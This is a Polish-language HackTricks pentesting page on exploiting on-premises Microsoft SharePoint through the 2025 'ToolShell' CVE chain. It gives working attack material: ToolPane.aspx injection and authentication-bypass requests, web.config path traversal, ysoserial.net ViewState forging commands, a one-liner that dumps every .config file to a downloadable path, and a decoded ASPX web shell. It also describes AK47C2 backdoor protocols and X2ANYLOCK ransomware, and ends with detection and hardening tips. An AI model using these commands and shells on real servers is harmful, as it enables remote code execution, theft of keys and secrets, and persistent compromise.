Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Microsoft SharePoint (on-premises) jest zbudowany na ASP.NET/IIS. Większość klasycznego ataku na powierzchnię webową (ViewState, Web.Config, web shells itp.) jest zatem obecna, ale SharePoint dostarcza również setki własnych stron ASPX i usług webowych, które znacznie powiększają wystawioną powierzchnię ataku. Ta strona zbiera praktyczne triki do enumeracji, eksploatacji i utrzymywania się w środowiskach SharePoint z naciskiem na łańcuch eksploatacji 2025 ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Wstrzykiwanie kodu w ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
pozwala na wstrzyknięcie dowolnego kodu Server-Side Include na stronie, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wykonuje Process.Start()
i wprowadzić złośliwy ViewState.
2.2 CVE-2025-49706 – Nieprawidłowe obejście uwierzytelniania
Ta sama strona ufa nagłówkowi X-Forms_BaseUrl, aby określić kontekst witryny. Wskazując go na /_layouts/15/
, MFA/SSO wymuszone na stronie głównej może być obejście bez uwierzytelnienia.
2.3 CVE-2025-53770 – Deserializacja ViewState bez uwierzytelnienia → RCE
Gdy atakujący kontroluje gadżet w ToolPane.aspx
, mogą przesłać niesigned (lub tylko MAC) wartość __VIEWSTATE
, która wywołuje deserializację .NET wewnątrz w3wp.exe, prowadząc do wykonania kodu.
Jeśli podpisywanie jest włączone, skradnij ValidationKey/DecryptionKey z dowolnego web.config
(patrz 2.4) i sfałszuj ładunek za pomocą ysoserial.net lub ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Aby uzyskać szczegółowe wyjaśnienie dotyczące nadużywania ASP.NET ViewState, przeczytaj:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Przechodzenie ścieżek / ujawnienie web.config
Wysłanie spreparowanego parametru Source
do ToolPane.aspx
(np. ../../../../web.config
) zwraca docelowy plik, umożliwiając wyciek:
<machineKey validationKey="…" decryptionKey="…">
➜ fałszowanie ViewState / ciasteczek ASPXAUTH- ciągi połączeń i sekrety.
3. Przepisy poeksploatacyjne zaobserwowane w dziczy
3.1 Ekstrakcja każdego pliku .config (wariant-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Wynikowy debug_dev.js
można pobrać anonimowo i zawiera wszystkie wrażliwe konfiguracje.
3.2 Wdrożenie powłoki sieciowej ASPX zakodowanej w Base64 (wariant-2)
powershell.exe -EncodedCommand <base64>
Przykład zdekodowanego ładunku (skrócony):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Napisane do:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Shell udostępnia punkty końcowe do odczytu / rotacji kluczy maszyny, co pozwala na fałszowanie ciasteczek ViewState i ASPXAUTH w całej farmie.
3.3 Obfuscated variant (variation-3)
Ten sam shell, ale:
- umieszczony w
...\15\TEMPLATE\LAYOUTS\
- nazwy zmiennych zredukowane do pojedynczych liter
- dodany
Thread.Sleep(<ms>)
dla unikania piaskownicy i omijania AV opartego na czasie.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (zaobserwowane 2025-2026)
Ostatnie badania dotyczące odpowiedzi na incydenty (Unit42 “Project AK47”) pokazują, jak atakujący wykorzystują łańcuch ToolShell po początkowym RCE, aby wdrożyć implant C2 z podwójnym kanałem i ransomware w środowiskach SharePoint:
AK47C2 – dnsclient
variant
- Twardo zakodowany serwer DNS:
10.7.66.10
komunikujący się z autorytatywną domenąupdate.updatemicfosoft.com
. - Wiadomości są obiektami JSON szyfrowanymi XOR z użyciem statycznego klucza
VHBD@H
, kodowane w hex i osadzone jako etykiety subdomeny.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Długie zapytania są dzielone na kawałki i poprzedzane
s
, a następnie składane ponownie po stronie serwera. - Serwer odpowiada w rekordach TXT, które noszą ten sam schemat XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Wersja 202504 wprowadziła uproszczony format
<COMMAND>::<SESSION_KEY>
i znaczniki kawałków1
,2
,a
.
AK47C2 – httpclient
variant
- Ponownie wykorzystuje dokładnie tę samą rutynę JSON & XOR, ale wysyła hex blob w treści HTTP POST za pomocą
libcurl
(CURLOPT_POSTFIELDS
, itd.). - Ta sama procedura zadania/wyniku pozwala na:
- Dowolne wykonywanie poleceń powłoki.
- Dynamiczny interwał snu i instrukcje wyłączania.
X2ANYLOCK ransomware
- Ładunek 64-bitowy C++ ładowany przez DLL side-loading (patrz poniżej).
- Wykorzystuje AES-CBC do danych plików + RSA-2048 do opakowania klucza AES, a następnie dodaje rozszerzenie
.x2anylock
. - Rekursywnie szyfruje lokalne dyski i odkryte udostępnione zasoby SMB; pomija ścieżki systemowe.
- Zrzuca notatkę w czystym tekście
How to decrypt my data.txt
, osadzając statyczne Tox ID do negocjacji. - Zawiera wewnętrzny kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Atakujący zapisuje
dllhijacked.dll
/My7zdllhijacked.dll
obok legalnego7z.exe
. - Uruchomiony przez SharePoint
w3wp.exe
uruchamia7z.exe
, który ładuje złośliwe DLL z powodu kolejności wyszukiwania Windows, wywołując punkt wejścia ransomware w pamięci. - Obserwowano osobny loader LockBit (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
), który deszyfruje shell-code i wykonuje DLL hollowing wd3dl1.dll
, aby uruchomić LockBit 3.0.
info
To samo statyczne Tox ID znalezione w X2ANYLOCK pojawia się w wyciekłych bazach danych LockBit, sugerując pokrywanie się afiliacji.
4. Pomysły na wykrywanie
Telemetria | Dlaczego jest podejrzana |
---|---|
w3wp.exe → cmd.exe | Proces roboczy rzadko powinien uruchamiać powłokę |
cmd.exe → powershell.exe -EncodedCommand | Klasyczny wzór lolbin |
Wydarzenia plikowe tworzące debug_dev.js lub spinstall0.aspx | IOCs prosto z ToolShell |
ProcessCmdLine ZAWIERA ToolPane.aspx (logi ETW/Module) | Publiczne PoCs wywołują tę stronę |
Przykład reguły XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Wzmacnianie i łagodzenie
- Patch – aktualizacje zabezpieczeń z lipca 2025 roku naprawiają wszystkie cztery CVE.
- Rotuj każdy
<machineKey>
i sekretyViewState
po kompromitacji. - Usuń LAYOUTS uprawnienia do zapisu z grup
WSS_WPG
iWSS_ADMIN_WPG
. - Zablokuj zewnętrzny dostęp do
/_layouts/15/ToolPane.aspx
na poziomie proxy/WAF. - Włącz ViewStateUserKey, MAC enabled oraz niestandardowy EventValidation.
Powiązane triki
- IIS po eksploatacji i nadużycie web.config:
IIS - Internet Information Services
Odniesienia
- Unit42 – Aktywna eksploatacja luk w zabezpieczeniach Microsoft SharePoint
- GitHub PoC – łańcuch exploitów ToolShell
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Projekt AK47 / Eksploatacja SharePoint i działalność ransomware
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.